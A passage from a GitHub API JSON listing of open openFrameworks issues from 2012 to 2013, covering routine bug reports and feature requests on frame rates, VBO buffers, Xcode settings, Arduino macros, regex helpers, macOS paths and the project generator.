set","user":{"login":"armadillu","id":167057,"avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","url":"https://api.github.com/users/armadillu","html_url":"https://github.com/armadillu","followers_url":"https://api.github.com/users/armadillu/followers","following_url":"https://api.github.com/users/armadillu/following","gists_url":"https://api.github.com/users/armadillu/gists{/gist_id}","starred_url":"https://api.github.com/users/armadillu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/armadillu/subscriptions","organizations_url":"https://api.github.com/users/armadillu/orgs","repos_url":"https://api.github.com/users/armadillu/repos","events_url":"https://api.github.com/users/armadillu/events{/privacy}","received_events_url":"https://api.github.com/users/armadillu/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-03-27T11:48:00Z","updated_at":"2012-04-18T17:13:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","id":3813852,"number":1116,"title":"ofVBO updateIndexData incorrect buffer type.","user":{"login":"vade","id":65011,"avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"37aca214d4875cd90af9d67072c82642","url":"https://api.github.com/users/vade","html_url":"https://github.com/vade","followers_url":"https://api.github.com/users/vade/followers","following_url":"https://api.github.com/users/vade/following","gists_url":"https://api.github.com/users/vade/gists{/gist_id}","starred_url":"https://api.github.com/users/vade/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vade/subscriptions","organizations_url":"https://api.github.com/users/vade/orgs","repos_url":"https://api.github.com/users/vade/repos","events_url":"https://api.github.com/users/vade/events{/privacy}","received_events_url":"https://api.github.com/users/vade/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2012-03-26T18:26:05Z","updated_at":"2012-03-26T22:27:14Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","id":3812318,"number":1115,"title":"optimization level in xcode projects","user":{"login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","url":"https://api.github.com/users/colormotor","html_url":"https://github.com/colormotor","followers_url":"https://api.github.com/users/colormotor/followers","following_url":"https://api.github.com/users/colormotor/following","gists_url":"https://api.github.com/users/colormotor/gists{/gist_id}","starred_url":"https://api.github.com/users/colormotor/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colormotor/subscriptions","organizations_url":"https://api.github.com/users/colormotor/orgs","repos_url":"https://api.github.com/users/colormotor/repos","events_url":"https://api.github.com/users/colormotor/events{/privacy}","received_events_url":"https://api.github.com/users/colormotor/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-03-26T17:05:14Z","updated_at":"2012-03-26T18:45:51Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","id":3812275,"number":1114,"title":"macros in ofArduino","user":{"login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","url":"https://api.github.com/users/colormotor","html_url":"https://github.com/colormotor","followers_url":"https://api.github.com/users/colormotor/followers","following_url":"https://api.github.com/users/colormotor/following","gists_url":"https://api.github.com/users/colormotor/gists{/gist_id}","starred_url":"https://api.github.com/users/colormotor/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colormotor/subscriptions","organizations_url":"https://api.github.com/users/colormotor/orgs","repos_url":"https://api.github.com/users/colormotor/repos","events_url":"https://api.github.com/users/colormotor/events{/privacy}","received_events_url":"https://api.github.com/users/colormotor/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","url":"https://api.github.com/users/joshuajnoble","html_url":"https://github.com/joshuajnoble","followers_url":"https://api.github.com/users/joshuajnoble/followers","following_url":"https://api.github.com/users/joshuajnoble/following","gists_url":"https://api.github.com/users/joshuajnoble/gists{/gist_id}","starred_url":"https://api.github.com/users/joshuajnoble/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joshuajnoble/subscriptions","organizations_url":"https://api.github.com/users/joshuajnoble/orgs","repos_url":"https://api.github.com/users/joshuajnoble/repos","events_url":"https://api.github.com/users/joshuajnoble/events{/privacy}","received_events_url":"https://api.github.com/users/joshuajnoble/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2012-03-26T17:02:21Z","updated_at":"2012-08-02T10:10:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","id":3799872,"number":1110,"title":"add a simple regex function like ofSplitString()","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-03-25T18:56:37Z","updated_at":"2012-03-25T20:07:16Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return results;\r\n\t}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","id":3799653,"number":1109,"title":"mac paths don't seem right until you call \"ofToDataPath()\"","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-03-25T18:18:28Z","updated_at":"2012-03-25T18:50:13Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","id":3754055,"number":1103,"title":"PG feature request: Generate makefile-only projects","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2012-03-21T21:43:34Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1099","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1099/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1099/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1099/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1099","id":3710691,"number":1099,"title":"issue with projectGenerator and XIB files.","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":9,"created_at":"2012-03-19T14:27:25Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"iPhoneGuiExample created by the projectGenerator seems to have an issue with XIB files.\r\nthe XIB is included in the project but can not be viewed inside the xcode project.\r\nin another instance, it was causing the app to crash.\r\n\r\nwhen removing the XIB and adding it back to the project manually, it start working again.\r\nwhich makes me believe its got something to do with the way projectGenerator is adding the XIB to the project.\r\n\r\nive compared the before and after (adding the XIB back manually) and here are the differences in the xcode projects.\r\nnote, the top line is the before and the bottom is the after.\r\n\r\n/* MyGuiView.xib */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = file.xib; name = MyGuiView.xib; path = gui/MyGuiView.xib; sourceTree = \"\"; };\r\n/* MyGuiView.xib */ = {isa = PBXFileReference; explicitFileType = file; fileEncoding = 30; name = MyGuiView.xib; path = src/gui/MyGuiView.xib; sourceTree = SOURCE_ROOT; };\r\n\r\n/* MyGuiView.xib in Resources */\r\n/* MyGuiView.xib in Sources */"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","id":3710293,"number":1098,"title":"feature / bug - #pragma omp critical(ofLog)","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":11,"created_at":"2012-03-19T14:04:51Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","id":3662214,"number":1075,"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2012-03-15T07:54:55Z","updated_at":"2012-03-15T20:34:17Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we 